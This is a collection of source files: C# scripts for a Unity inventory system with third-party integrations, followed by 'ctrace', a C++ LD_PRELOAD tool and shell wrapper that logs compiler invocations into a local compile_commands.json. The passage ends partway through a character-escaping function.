Debug.Log("Can't add currency, given type is not an ItemCollectionBase type");
Finish();
return;
}
c.AddCurrency(amount.Value, (uint)currencyID.Value);
Finish();
}
}
}
#endif<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Devdog.InventorySystem
{
public interface IInventoryUIItemWrapperKeyTrigger
{
string keyCombination { get; set; }
void Repaint();
}
}
<file_sep>#if UFPS
using UnityEngine;
using System.Collections.Generic;
using System;
using System.Collections;
namespace Devdog.InventorySystem.Integration.UFPS
{
public class InventoryVPFPWeaponHandler : vp_FPWeaponHandler
{
/// <summary>
///
/// </summary>
protected override bool OnAttempt_AutoReload()
{
if (CurrentWeapon == null)
return false;
return base.OnAttempt_AutoReload();
}
}
}
#endif<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Devdog.InventorySystem
{
public interface IObjectTriggerInputOverrider
{
bool AreKeysDown(ObjectTriggererBase triggerer);
}
}
<file_sep>using UnityEngine;
using System.Collections;
namespace Devdog.InventorySystem.Demo
{
public class LoadLevelOnTriggerEnter : MonoBehaviour
{
public string levelToLoad;
public void OnTriggerEnter(Collider col)
{
LoadLevel();
}
public void LoadLevel()
{
InventorySceneUtility.LoadScene(levelToLoad);
}
}
}<file_sep>using UnityEngine;
using UnityEngine.UI;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Devdog.InventorySystem.Models;
namespace Devdog.InventorySystem.UI
{
/// <summary>
/// A single row in the infobox.
/// </summary>
public partial class InventoryCraftingCategoryUI : MonoBehaviour, IPoolableObject
{
[SerializeField]
protected UnityEngine.UI.Text title;
[SerializeField]
protected UnityEngine.UI.Image icon;
[InventoryRequired]
public RectTransform container;
public virtual void Repaint(InventoryCraftingCategory category, InventoryItemCategory itemCategory)
{
title.text = category.name;
if (icon != null)
icon.sprite = itemCategory.icon;
}
public void Reset()
{
// Item has no specific states, no need to reset
}
}
}<file_sep>#if PLY_GAME
using UnityEngine;
using UnityEditor;
using System;
using System.Collections.Generic;
using System.Linq;
using Devdog.InventorySystem.Editors;
using Devdog.InventorySystem.Integration.plyGame;
using Devdog.InventorySystem.Models;
using plyCommon;
using plyGame;
using plyGameEditor;
namespace Devdog.InventorySystem.Integration.plyGame.Editors
{
[CustomEditor(typeof(plyGameSkillInventoryItem), true)]
public class plyGameSkillInventoryItemEditor : InventoryItemBaseEditor
{
public override void OnEnable()
{
base.OnEnable();
}
protected override void OnCustomInspectorGUI(params CustomOverrideProperty[] extraOverride)
{
var t = (plyGameSkillInventoryItem)target;
var l = new List<CustomOverrideProperty>(extraOverride);
l.Add(new CustomOverrideProperty("skill", () =>
{
EditorGUILayout.BeginHorizontal();
GUILayout.Label("plyGame skill", GUILayout.Width(EditorGUIUtility.labelWidth));
if (GUILayout.Button((t.skill == null) ? "None selected" : t.skill.ToString(), "ObjectField"))
{
var picker = InventoryPlySkillPrefabPickerBase.Get("plyGame Skill picker");
picker.Show(true);
picker.OnPickObject += (obj) =>
{
t.skill = obj;
EditorUtility.SetDirty(t);
Repaint();
};
}
EditorGUILayout.EndHorizontal();
}));
base.OnCustomInspectorGUI(l.ToArray());
}
}
}
#endif<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using Devdog.InventorySystem.Models;
using UnityEngine;
using Devdog.InventorySystem.UI;
using UnityEngine.Assertions;
namespace Devdog.InventorySystem
{
public partial class CraftingCollectionSimple : ItemCollectionBase
{
[SerializeField]
private uint _initialCollectionSize;
public override uint initialCollectionSize
{
get { return _initialCollectionSize; }
}
public override void Awake()
{
base.Awake();
}
public override bool OverrideUseMethod(InventoryItemBase item)
{
// InventoryManager.AddItemAndRemove(item);
return true;
}
}
}
<file_sep>#if PLY_GAME
using System.Collections.Generic;
using System.IO;
using System.Linq;
using plyGame;
using UnityEditor;
using UnityEngine;
namespace Devdog.InventorySystem.Editors
{
public class InventoryPlySkillPrefabPickerBase : InventoryPrefabPickerBase<Skill>
{
public static InventoryPlySkillPrefabPickerBase Get(string title = "Item picker", Vector2 minSize = new Vector2())
{
var window = GetWindow<InventoryPlySkillPrefabPickerBase>(true);
window.windowTitle = title;
window.minSize = minSize;
// window.isUtility = true;
return window;
}
protected override IList<Skill> FindObjects(bool searchProjectFolder)
{
return base.FindObjects(searchProjectFolder);
}
protected override void DrawObjectButton(Skill item)
{
if (GUILayout.Button(item.ToString()))
{
NotifyPickedObject(item);
}
}
}
}
#endif<file_sep>#if UFPS
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using Devdog.InventorySystem;
using Devdog.InventorySystem.Models;
using UnityEngine.Assertions;
namespace Devdog.InventorySystem.Integration.UFPS
{
[RequireComponent(typeof(ObjectTriggererItemUFPS))]
public partial class ConsumableUFPSInventoryItem : UFPSInventoryItemBase
{
public InventoryAudioClip pickupSound;
public float restoreHealthAmount = 10f;
public override GameObject Drop(Vector3 location, Quaternion rotation)
{
#if UFPS_MULTIPLAYER
if (vp_MPPickupManager.Instance != null)
{
//var dropObj = base.Drop(location, rotation);
var dropPos = GetDropPosition(location, rotation);
NotifyItemDropped(null);
//gameObject.SetActive(false);
vp_MPPickupManager.Instance.photonView.RPC("InventoryDroppedObject", PhotonTargets.AllBuffered, (int)ID, objectTriggererItemUfps.ID, (int)currentStackSize, dropPos, rotation);
return null;
}
return base.Drop(location, rotation);
#else
return base.Drop(location, rotation);
#endif
}
public override bool PickupItem()
{
bool pickedUp = base.PickupItem();
if (pickedUp)
{
transform.position = Vector3.zero; // Reset position to avoid the user from looting it twice when reloading (reloading temp. enables the item)
InventoryAudioManager.AudioPlayOneShot(pickupSound);
}
return pickedUp;
}
public override int Use()
{
var used = base.Use();
if (used < 0)
{
return used;
}
var dmgHandler = InventoryPlayerManager.instance.currentPlayer.gameObject.GetComponent<vp_FPPlayerDamageHandler>();
if (dmgHandler != null)
{
dmgHandler.CurrentHealth += restoreHealthAmount;
}
currentStackSize--;
if (itemCollection != null)
{
if (currentStackSize <= 0)
{
itemCollection.NotifyItemRemoved(this, ID, index, 1);
itemCollection.SetItem(index, null, true);
}
itemCollection[index].Repaint();
}
// NotifyItemUsed(1, true);
return 1;
}
}
}
#endif<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Devdog.InventorySystem;
using Devdog.InventorySystem.UI;
using UnityEngine;
namespace Devdog.InventorySystem.Integration.RewiredIntegration
{
[RequireComponent(typeof(UIWindow))]
[AddComponentMenu("InventorySystem/Integration/Rewired Object trigger Range UI")]
public partial class RewiredObjectTriggererRangeUI : MonoBehaviour
{
public UnityEngine.UI.Image imageIcon;
public UnityEngine.UI.Text shortcutText;
public bool moveToTriggererLocation = true;
private UIWindow _window;
protected virtual void Awake()
{
_window = GetComponent<UIWindow>();
}
protected virtual void Start()
{
InventoryPlayerManager.instance.OnPlayerChanged += OnPlayerChanged;
if (InventoryPlayerManager.instance.currentPlayer != null)
{
OnPlayerChanged(null, InventoryPlayerManager.instance.currentPlayer);
}
}
protected void LateUpdate()
{
if (moveToTriggererLocation && InventoryPlayerManager.instance.currentPlayer != null)
{
UpdatePosition(InventoryPlayerManager.instance.currentPlayer.rangeHelper.bestTriggerer);
}
}
private void OnPlayerChanged(InventoryPlayer oldPlayer, InventoryPlayer newPlayer)
{
if (oldPlayer != null)
{
oldPlayer.rangeHelper.OnChangedBestTriggerer -= BestTriggererChanged;
}
newPlayer.rangeHelper.OnChangedBestTriggerer += BestTriggererChanged;
// First time
Repaint(newPlayer.rangeHelper.bestTriggerer);
}
private void BestTriggererChanged(ObjectTriggererBase old, ObjectTriggererBase newBest)
{
if (newBest != null)
{
_window.Show();
Repaint(newBest);
}
else
{
_window.Hide();
}
}
protected virtual void UpdatePosition(ObjectTriggererBase triggerer)
{
if(triggerer != null)
transform.position = Camera.main.WorldToScreenPoint(triggerer.transform.position);
}
public virtual void Repaint(ObjectTriggererBase triggerer)
{
if(_window.isVisible == false)
_window.Show();
if (shortcutText != null)
{
if (triggerer != null)
{
if (shortcutText.text != triggerer.triggerKeyCode.ToString())
{
shortcutText.text = triggerer.triggerKeyCode.ToString();
}
else
{
shortcutText.text = "";
}
}
}
}
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using System.Collections;
public class Map : MonoBehaviour {
private SpriteRenderer active;
// Use this for initialization
void Start () {
active = GetComponent<SpriteRenderer>();
active.enabled = false;
}
// Update is called once per frame
void Update () {
if(Input.GetKeyDown(KeyCode.M)){
active.enabled = !active.enabled;
}
}
}
<file_sep>#if REWIRED
using UnityEngine;
using System.Collections;
using System.Linq;
using Devdog.InventorySystem.UI;
using Rewired;
using UnityEngine.Assertions;
namespace Devdog.InventorySystem.Integration.RewiredIntegration
{
public abstract class RewiredMonoBehaviour : MonoBehaviour
{
public bool useSystemPlayer = false;
public int rewiredPlayerID = 0;
public string rewiredActionName;
protected Rewired.Player player;
protected virtual void Awake()
{
if (useSystemPlayer)
{
player = Rewired.ReInput.players.GetSystemPlayer();
}
else
{
player = Rewired.ReInput.players.GetPlayer(rewiredPlayerID);
}
Assert.IsNotNull(player, "Rewired player with ID " + rewiredPlayerID + " could not be found!");
Assert.IsTrue(Rewired.ReInput.mapping.Actions.Any(o => o.name == rewiredActionName), "No rewired action found with name: " + rewiredActionName);
}
}
}
#endif<file_sep>#if REWIRED
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Rewired;
namespace Devdog.InventorySystem.Integration.RewiredIntegration
{
public class RewiredInputOverrider : IObjectTriggerInputOverrider
{
private Rewired.Player _player;
private string _actionName;
public RewiredInputOverrider(Rewired.Player player, string actionName)
{
this._player = player;
this._actionName = actionName;
}
public bool AreKeysDown(ObjectTriggererBase triggerer)
{
return _player.GetButtonDown(_actionName);
}
}
}
#endif<file_sep>using UnityEngine;
using UnityEditor;
using System;
using System.Collections.Generic;
namespace Devdog.InventorySystem.Editors
{
[CustomEditor(typeof(CraftingWindowStandardUI), true)]
public class CraftingWindowStandardUIEditor : InventoryEditorBase
{
//private CraftingStation item;
private SerializedProperty _startCraftingCategoryID;
public override void OnEnable()
{
base.OnEnable();
_startCraftingCategoryID = serializedObject.FindProperty("_startCraftingCategoryID");
}
protected override void OnCustomInspectorGUI(params CustomOverrideProperty[] extraSpecific)
{
serializedObject.Update();
EditorGUILayout.PropertyField(script);
GUILayout.Label("Behavior", InventoryEditorStyles.titleStyle);
var cat = InventoryEditorUtility.PopupField("Crafting category",
ItemManager.database.craftingCategoriesStrings, ItemManager.database.craftingCategories,
o => o.ID == _startCraftingCategoryID.intValue);
if (cat != null)
{
_startCraftingCategoryID.intValue = cat.ID;
}
DrawPropertiesExcluding(serializedObject, new string[]
{
"m_Script",
"_startCraftingCategoryID",
});
serializedObject.ApplyModifiedProperties();
}
}
}<file_sep>#if REWIRED
using UnityEngine;
using System.Collections;
using System.Linq;
using Devdog.InventorySystem.UI;
using Rewired;
using UnityEngine.Assertions;
namespace Devdog.InventorySystem.Integration.RewiredIntegration
{
[RequireComponent(typeof(UIWindow))]
[AddComponentMenu("InventorySystem/Integration/Rewired/Rewired UI Window")]
public class RewiredUIWindow : RewiredMonoBehaviour
{
private UIWindow _window;
protected override void Awake()
{
base.Awake();
_window = GetComponent<UIWindow>();
}
protected void Update()
{
if (player.GetButtonDown(rewiredActionName))
{
_window.Toggle();
}
}
}
}
#endif<file_sep>using UnityEngine;
using System.Collections;
using Devdog.InventorySystem.Models;
using UnityEngine.UI;
namespace Devdog.InventorySystem.UI
{
/// <summary>
/// Used to define a row of stats.
/// </summary>
public partial class InventoryCharacterStatRowUI : MonoBehaviour, IPoolableObject
{
[SerializeField]
protected Text statName;
[SerializeField]
protected Text statValue;
[SerializeField]
protected Image statIcon;
public IInventoryCharacterStat currentStat { get; protected set; }
public bool hideStatNameIfIconIsPresent = false;
public virtual void Repaint(IInventoryCharacterStat characterStat)
{
currentStat = characterStat;
if (statName != null)
{
statName.text = currentStat.statName;
statName.color = currentStat.color;
statName.gameObject.SetActive(true);
}
if (statValue != null)
{
statValue.text = currentStat.ToString();
statValue.color = currentStat.color;
}
if (statIcon != null)
{
statIcon.sprite = currentStat.icon;
statIcon.color = currentStat.color;
statIcon.gameObject.SetActive(true);
if (currentStat.icon == null)
{
statIcon.gameObject.SetActive(false);
}
else
{
if (hideStatNameIfIconIsPresent && statName != null)
{
statName.gameObject.SetActive(false);
}
}
}
}
public void Reset()
{
if (statName != null)
{
statName.gameObject.SetActive(false);
}
if (statValue != null)
{
statValue.text = string.Empty;
statValue.color = Color.white;
}
if (statIcon != null)
{
statIcon.gameObject.SetActive(false);
}
}
}
}<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace Devdog.InventorySystem.UI
{
[System.Serializable]
public struct UIWindowField
{
[SerializeField]
private UIWindow _window;
public UIWindow window
{
get
{
if (useDynamicSearch)
{
_window = UIWindow.FindByName(name);
}
return _window;
}
set
{
_window = value;
if (_window != null)
{
useDynamicSearch = false;
}
}
}
public string name;
public bool useDynamicSearch;
}
}
<file_sep>using UnityEngine;
using System.Collections;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections.Generic;
using System.Linq;
using Devdog.InventorySystem.Models;
using Devdog.InventorySystem.UI;
using UnityEngine.Assertions;
namespace Devdog.InventorySystem
{
public partial class CraftingWindowLayoutCollectionUI : ItemCollectionBase
{
//[Header("Behavior")] // Moved to custom editor
[SerializeField]
protected uint _initialCollectionSize = 9;
public override uint initialCollectionSize
{
get
{
return _initialCollectionSize;
}
}
private CraftingWindowLayoutUI craftingWindow { get; set; }
private bool canDragInCollectionDefault { get; set; }
public override void Awake()
{
base.Awake();
this.craftingWindow = GetComponent<CraftingWindowLayoutUI>();
canDragInCollectionDefault = canDragInCollection;
}
public override void Start()
{
base.Start();
// if (useReferences)
// {
// foreach (var col in InventoryManager.GetLootToCollections())
// {
// col.OnRemovedItem += (InventoryItemBase item, uint itemID, uint slot, uint amount) =>
// {
// if (window.isVisible == false)
// return;
//
// ValidateReferences();
// GetBlueprintFromCurrentLayout();
// };
// col.OnAddedItem += (itemArr, amount, cameFromCollection) =>
// {
// if (window.isVisible == false)
// return;
//
// foreach (var i in items)
// {
// i.Repaint();
// }
//
// GetBlueprintFromCurrentLayout();
// };
// col.OnUsedItem += (InventoryItemBase item, uint itemID, uint slot, uint amount) =>
// {
// if (window.isVisible == false)
// return;
//
// foreach (var i in items)
// {
// if (i.item != null && i.item.ID == itemID)
// i.Repaint();
// }
//
// if (currentBlueprintItemsDict.ContainsKey(itemID))
// {
// CancelActiveCraftAndClearQueue(); // Used an item that we're using in crafting.
// GetBlueprintFromCurrentLayout();
// }
// };
// }
// }
}
}
}<file_sep>using UnityEngine;
using UnityEngine.EventSystems;
using System;
using System.Collections;
using System.Collections.Generic;
using Devdog.InventorySystem.UI;
using Devdog.InventorySystem.Models;
namespace Devdog.InventorySystem
{
[HelpURL("http://devdog.nl/documentation/vendors/")]
[AddComponentMenu("InventorySystem/Windows/Vendor buy back")]
public partial class VendorUIBuyBack : ItemCollectionBase
{
private UIWindowPage _window;
public UIWindowPage window
{
get
{
if (_window == null)
_window = GetComponent<UIWindowPage>();
return _window;
}
protected set { _window = value; }
}
[InventoryRequired]
public VendorUI vendorUI;
[SerializeField]
protected uint _initialCollectionSize = 10;
public override uint initialCollectionSize
{
get
{
return _initialCollectionSize;
}
}
private ItemCollectionBase[] _subscribedToCollection = new ItemCollectionBase[0];
public override void Awake()
{
base.Awake();
InventoryPlayerManager.instance.OnPlayerChanged += InstanceOnPlayerChanged;
}
public override void Start()
{
base.Start();
InstanceOnPlayerChanged(null, InventoryPlayerManager.instance.currentPlayer);
window.OnShow += UpdateItems;
vendorUI.OnSoldItemToVendor += (InventoryItemBase item, uint amount, VendorTriggerer vendor) =>
{
UpdateItems();
};
vendorUI.OnBoughtItemBackFromVendor += (InventoryItemBase item, uint amount, VendorTriggerer vendor) =>
{
UpdateItems();
};
}
private void InstanceOnPlayerChanged(InventoryPlayer oldPlayer, InventoryPlayer newPlayer)
{
if (oldPlayer != null)
{
foreach (var col in _subscribedToCollection)
{
col.OnCurrencyChanged -= OnPlayerCurrencyChanged;
}
}
_subscribedToCollection = InventoryManager.GetLootToCollections();
foreach (var col in _subscribedToCollection)
{
col.OnCurrencyChanged += OnPlayerCurrencyChanged;
}
}
private void OnPlayerCurrencyChanged(float amountBefore, InventoryCurrencyLookup lookup)
{
Repaint();
}
protected virtual void Repaint()
{
foreach (var item in items)
{
item.Repaint();
}
}
public override bool OverrideUseMethod(InventoryItemBase item)
{
vendorUI.currentVendor.BuyItemFromVendor(item, true);
return true;
}
protected virtual void UpdateItems()
{
if (vendorUI.currentVendor == null)
return;
if (vendorUI.currentVendor.enableBuyBack)
{
SetItems(vendorUI.currentVendor.buyBackDataStructure.ToArray(), true);
}
}
public override bool CanSetItem(uint slot, InventoryItemBase item)
{
var before = canPutItemsInCollection;
canPutItemsInCollection = true;
bool can = base.CanSetItem(slot, item);
canPutItemsInCollection = before;
return can;
}
public override void SetItems(InventoryItemBase[] toSet, bool setParent, bool repaint = true)
{
if (vendorUI.currentVendor == null || vendorUI.currentVendor.enableBuyBack == false)
return;
base.SetItems(toSet, setParent, false);
Repaint();
}
public override bool CanMergeSlots(uint slot1, ItemCollectionBase collection2, uint slot2)
{
return false;
}
public override bool SwapOrMerge(uint slot1, ItemCollectionBase handler2, uint slot2, bool repaint = true)
{
return SwapSlots(slot1, handler2, slot2, repaint);
}
}
}<file_sep>using System.Collections.Generic;
using System.IO;
using UnityEditor;
using UnityEngine;
namespace Devdog.InventorySystem.Editors
{
public abstract class InventoryPrefabPickerBase<T> : InventoryObjectPickerBase<T> where T : UnityEngine.Object
{
public override void Show(bool useless)
{
Show(FindObjects(true));
}
protected override IList<T> FindObjects(bool searchProjectFolder)
{
return GetAssetsOfType(".prefab");
}
private static T[] GetAssetsOfType(string fileExtension)
{
var tempObjects = new List<T>();
var directory = new DirectoryInfo(Application.dataPath);
var goFileInfo = directory.GetFiles("*" + fileExtension, SearchOption.AllDirectories);
int i = 0;
int goFileInfoLength = goFileInfo.Length;
FileInfo tempGoFileInfo;
string tempFilePath;
Object tempGO = null;
for (; i < goFileInfoLength; i++)
{
tempGoFileInfo = goFileInfo[i];
if (tempGoFileInfo == null)
continue;
tempFilePath = tempGoFileInfo.FullName;
tempFilePath = tempFilePath.Replace(@"\", "/").Replace(Application.dataPath, "Assets");
tempGO = AssetDatabase.LoadAssetAtPath(tempFilePath, typeof(Object)) as Object;
if (tempGO != null && tempGO is T)
{
tempObjects.Add(tempGO as T);
continue;
}
var gameObject = tempGO as GameObject;
if (gameObject != null)
{
var comp = gameObject.GetComponent<T>();
if (comp != null)
{
tempObjects.Add(comp);
}
}
}
return tempObjects.ToArray();
}
protected override bool MatchesSearch(T obj, string search)
{
return obj.name.ToLower().Contains(search);
}
protected override void DrawObjectButton(T item)
{
if (GUILayout.Button(item.name + " - " + AssetDatabase.GetAssetPath(item)))
{
NotifyPickedObject(item);
}
}
}
}
<file_sep>#if PLY_GAME
using System;
using System.Collections.Generic;
using System.Linq;
using Devdog.InventorySystem;
using plyCommon;
using plyGame;
using UnityEngine;
namespace Devdog.InventorySystem.Integration.plyGame
{
public partial class plyGameSkillInventoryItem : InventoryItemBase
{
[InventoryRequired]
public Skill skill;
public override void NotifyItemUsed(uint amount, bool alsoNotifyCollection)
{
base.NotifyItemUsed(amount, alsoNotifyCollection);
InventoryItemUtility.SetItemProperties(InventoryPlayerManager.instance.currentPlayer, properties, InventoryItemUtility.SetItemPropertiesAction.Use);
}
public override int Use()
{
int used = base.Use();
if (used < 0)
return used;
if (Player.Instance.actor.actorClass.currLevel < requiredLevel)
{
InventoryManager.langDatabase.itemCannotBeUsedLevelToLow.Show(name, description, requiredLevel);
return -1;
}
// Use plyGame skill
if (skill != null)
{
Player.Instance.actor.QueueSkillForExecution(skill, true);
}
NotifyItemUsed(1, true);
return 1;
}
}
}
#endif | ae80e0f77e3fb787d93bef0901fb058bcf1526a2 | [
"C#"
] | 27 | C# | dmcguire3762/Wilderness | 5c05841ea9cfb6f6ba14f0580effaba662e7e050 | e28b87874de340053d6fa8fd2ad535b6051588eb |
refs/heads/master | <file_sep>/*
* Request handlers
*
*/
// Dependencies
// Define the handlers
const handlers = {};
// Users handler
handlers.users = (data, callBack) => {
const acceptableMethods = ['post', 'get', 'put', 'delete'];
if (acceptableMethods.indexOf(data.method) > -1) {
handlers._users[data.method](data, callBack);
} else {
callBack(405);
}
};
// Container for user submethods
handlers._users = {};
// Users - post
// Required data: firstName, lastName, phone, password, tosAgreement
// Optional data: none
handlers._users.post = (data, callBack) => {
// Check that all required fields are filled out
const firstName =
typeof data.payload.firstName == 'string' &&
data.payload.firstName.trim().length > 0
? data.payload.firstName.trim()
: false;
const lastName =
typeof data.payload.lastName == 'string' &&
data.payload.lastName.trim().length > 0
? data.payload.lastName.trim()
: false;
const phone =
typeof data.payload.phone == 'string' &&
data.payload.phone.trim().length == 10
? data.payload.phone.trim()
: false;
const password =
typeof data.payload.password == 'string' &&
data.payload.password.trim().length > 0
? data.payload.password.trim()
: false;
const tosAgreement =
typeof data.payload.password == 'boolean' &&
data.payload.password == true
? true
: false;
if (firstName && lastName && phone && password && tosAgreement) {
} else {
callBack(400, { Error: 'Missing Required Field' });
}
};
// Users - get
handlers._users.get = (data, callBack) => {};
// Users - put
handlers._users.put = (data, callBack) => {};
// Users - delete
handlers._users.delete = (data, callBack) => {};
// Ping handler
handlers.ping = (data, callBack) => {
callBack(200, { alive: true });
};
// Not found handler
handlers.notFound = (data, callBack) => {
callBack(404);
};
// Export the module
module.exports = handlers;
| 60e2eb907bdb02f787909de0327b4d738637afe7 | [
"JavaScript"
] | 1 | JavaScript | jehincastic/NoFrameWorkApi | 43793b0f8d9923899c60473a66db1d9db8abf4c7 | 6fef1756f3b1041bf605a86bfcd5f1d9b2fae334 |
refs/heads/master | <file_sep>#!/bin/sh
scriptDir() {
path=$0
while test -L "$path"; do
cd "$(dirname "$path")" || exit 1
path=$(readlink "$(basename "$path")")
done
cd "$(dirname "$path")" && pwd
}
bin_dir=$(scriptDir)
libexec_dir=$bin_dir
COMPILE_COMMANDS_JSON=$PWD/compile_commands.json
export COMPILE_COMMANDS_JSON
preload_lib=$libexec_dir/libctrace.so
LD_PRELOAD=$preload_lib${LD_PRELOAD:+ $LD_PRELOAD}
export LD_PRELOAD
echo "[" > ${COMPILE_COMMANDS_JSON}
"$@"
sed '$ s/.$//' ${COMPILE_COMMANDS_JSON} > ${COMPILE_COMMANDS_JSON}.bak
mv ${COMPILE_COMMANDS_JSON}.bak ${COMPILE_COMMANDS_JSON}
echo "]" >> ${COMPILE_COMMANDS_JSON}
<file_sep>#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <cassert>
namespace ctrace {
#define EINTR_LOOP(expr) \
({ \
decltype(expr) ret; \
do { \
ret = (expr); \
} while (ret == -1 && errno == EINTR); \
ret; \
})
// A simple file lock wrapper offering lock/unlock interface to be
// compatible with std::mutex to use std::lock_guard.
class FileLock {
public:
FileLock(int fd) : fd_(fd) {
assert(fd_ > 0);
}
// Do nothing
~FileLock() {}
void lock() {
flock lock;
bzero(&lock, sizeof(lock));
lock.l_type = F_WRLCK;
lock.l_whence = SEEK_SET;
lock.l_start = 0;
lock.l_len = 0;
EINTR_LOOP(fcntl(fd_, F_SETLKW, &lock));
}
void unlock() {
flock lock;
bzero(&lock, sizeof(lock));
lock.l_type = F_UNLCK;
lock.l_whence = SEEK_SET;
lock.l_start = 0;
lock.l_len = 0;
fcntl(fd_, F_SETLK, &lock);
}
private:
int fd_;
};
#undef EINTR_LOOP
}
<file_sep>CXX=g++
ctrace: ctrace.cpp compile_command_recorder.cpp
${CXX} ctrace.cpp compile_command_recorder.cpp -o libctrace.so -shared -fPIC -std=c++11
clean:
rm -rf *.so
<file_sep>#include <climits>
#include <cstring>
#include <cstdlib>
#include <string>
#include <vector>
#include <mutex>
#include <cstdio>
#include "compile_command_recorder.h"
/**
* To use tools offered by clang to do code analysis, it is usually required to offer a
* compile command database file named compile_commands.json. For pro that use cmake,
* it's easy since cmake supports to export compile_commands.json by compiling with
* -DCMAKE_EXPORT_COMPILE_COMMANDS=1 macro. However, for projects that don't use cmake,
* it's not that easy to generate compile_commands.json. So here we write this tool, hoping
* it might help.
*
* To generate the compile_commands.json, we need first get each process' command line
* arguments during the while compile process, then filter out the non-compiling commands.
* There are several ways to get one process' command line arguments:
* 1. Use a fake cc, cxx to replace the environment variable CC and CXX, and record the
* command line arguments in the fake cc/cxx. This works most of the time, but fails
* when the target project use an absolute path to specify C and C++ compile instead
* of using CC and CXX.
* 2. For linux, use LD_PRELOAD to preload a dynamic library, this library does nothing
* except reading command line arguments from /proc/self/cmdline. This is not portable,
* but on other platforms, we have similar solution.
* This solution works 99% of the time except when the command line arguments are too
* long (longer than 4K). Linux allows only the first 4K of the command line arguments
* to be logged in /proc/self/cmdline, if the command line arguments are longer than
* this size, it is truncated.
*
*
*/
void libEntry(int argc, char** argv, char** envp) {
ctrace::CompileCommandRecorder recorder;
if (!recorder.isCompileCommand(argv[0])) {
return;
}
ssize_t pos = recorder.findFirstSource(argv, argc);
if (pos < 0) {
return;
}
recorder.markCompileCommandFound();
recorder.recordCompileCommand(argc, argv, argv[pos]);
}
__attribute__((section(".init_array"))) decltype(libEntry) *__init = libEntry;
<file_sep>#include <cstdio>
#include <string>
#include <vector>
namespace ctrace {
class CompileCommandRecorder{
public:
CompileCommandRecorder();
public:
// Determine the executable file path is a c/c++ compile command.
bool isCompileCommand(const char* executableFilePath);
// Find the first source file(ending with ".cpp", ".cc", ".cxx", ".c", ..., etc)
// in the param list, return the index other wise -1
ssize_t findFirstSource(char** paramList, size_t size);
// If we have found that current process is a compile command, any child process
// of current process will be ignored. This function sets the ignore flag by adding
// an environment variable for child processes.
bool markCompileCommandFound();
// Record the compile command in json format.
bool recordCompileCommand(int argc, char** argv, char* source);
private:
bool logCompileCommand(FILE* stream, int argc, char** argv, char* source);
void putAll(FILE* stream, const char* data);
void putc(FILE* stream, char ch);
private:
static constexpr const char* kEnvDoesParentFindCompileCommand_ = "FOUND_COMPILE_COMMAND";
static constexpr const char* kEnvCompileCommandsJson_ = "COMPILE_COMMANDS_JSON";
static constexpr const char kPathDelimiter_ = '/';
private:
const std::vector<std::string> kSourceExtensions_;
const std::vector<std::string> kDrivers_;
const std::vector<std::string> kExcludedDrivers_;
};
}
<file_sep># code-index
<file_sep>#include <unistd.h>
#include <strings.h>
#include <cstring>
#include <climits>
#include <cstdlib>
#include <mutex>
#include <algorithm>
#include "file_lock.h"
#include "compile_command_recorder.h"
namespace ctrace {
CompileCommandRecorder::CompileCommandRecorder() :
kSourceExtensions_({".s", ".c", ".cc", ".cpp", ".cxx", ".c++"}),
kDrivers_({"cc", "c++", "gcc", "g++", "clang", "clang++"}),
kExcludedDrivers_({"cc1plus", "cc1"})
{}
bool CompileCommandRecorder::isCompileCommand(const char* executableFilePath) {
// If ancestor is a compile command, skip current process.
if (getenv(kEnvDoesParentFindCompileCommand_)) {
return false;
}
std::string execPath = executableFilePath;
// "/usr/bin/gcc", find the last '/'
size_t compareStart = execPath.find_last_of(kPathDelimiter_);
compareStart = (compareStart == std::string::npos) ? 0 : compareStart + 1;
std::string name = execPath.substr(compareStart);
for (const auto& driver : kDrivers_) {
if (strncmp(name.c_str(), driver.c_str(), driver.size()) == 0
&& std::find(kExcludedDrivers_.begin(), kExcludedDrivers_.end(), name) == kExcludedDrivers_.end()) {
return true;
}
}
return false;
}
ssize_t CompileCommandRecorder::findFirstSource(char** paramList, size_t size) {
for (size_t p = 0; p < size; p++) {
std::string param = paramList[p];
for (const auto& ext : kSourceExtensions_) {
if (param.size() < ext.size()) {
continue;
}
if (strncasecmp(
ext.c_str(), param.c_str() + param.size() - ext.size(), ext.size()) == 0) {
return p;
}
}
}
return -1;
}
bool CompileCommandRecorder::markCompileCommandFound() {
return setenv(kEnvDoesParentFindCompileCommand_, "1", 0) == 0 ? true : false;
}
bool CompileCommandRecorder::recordCompileCommand(int argc, char** argv, char* source) {
const char* file = getenv(kEnvCompileCommandsJson_);
assert(file != nullptr && file[0] != '\0');
FILE *stream = fopen(file, "a");
assert(stream != nullptr);
{
FileLock lock(fileno(stream));
std::lock_guard<FileLock> guard(lock);
logCompileCommand(stream, argc, argv, source);
fflush(stream);
}
fclose(stream);
}
bool CompileCommandRecorder::logCompileCommand(FILE* stream, int argc, char** argv, char* source) {
fputs(" {\n", stream);
{
char cwd[FILENAME_MAX];
fputs(" \"directory\": \"", stream);
putAll(stream, getcwd(cwd, FILENAME_MAX) ? cwd : "");
fputs("\",\n", stream);
}
{
char path[PATH_MAX];
fputs(" \"file\": \"", stream);
putAll(stream, realpath(source, path) ? path : "");
fputs("\",\n", stream);
}
{
fputs(" \"command\": \"", stream);
putAll(stream, argv[0]);
for (int p = 1; p < argc; p++) {
putc_unlocked(' ', stream);
putAll(stream, argv[p]);
}
fputs("\"\n", stream);
}
fputs(" },\n", stream);
}
void CompileCommandRecorder::putAll(FILE* stream, const char* data) {
for (size_t c = 0; data[c] != '\0'; ++c) {
CompileCommandRecorder::putc(stream, data[c]);
}
}
void CompileCommandRecorder::putc(FILE* stream, char ch) {
#define CASE(in, out) \
case in: \
putc_unlocked('\\', stream); \
putc_unlocked(out, stream); \
break;
/* A JSON string can contain any Unicode character other than '"' or '\' or
* a control character. Encode control characters specially. Assume the
* bytes [0x01...0x1F, 0x7F] correspond to codepoints
* [U+0001...U+001F, U+007F], which is correct for UTF-8. */
switch(ch) {
CASE('"', '"')
CASE('\\', '\\')
CASE('\b', 'b')
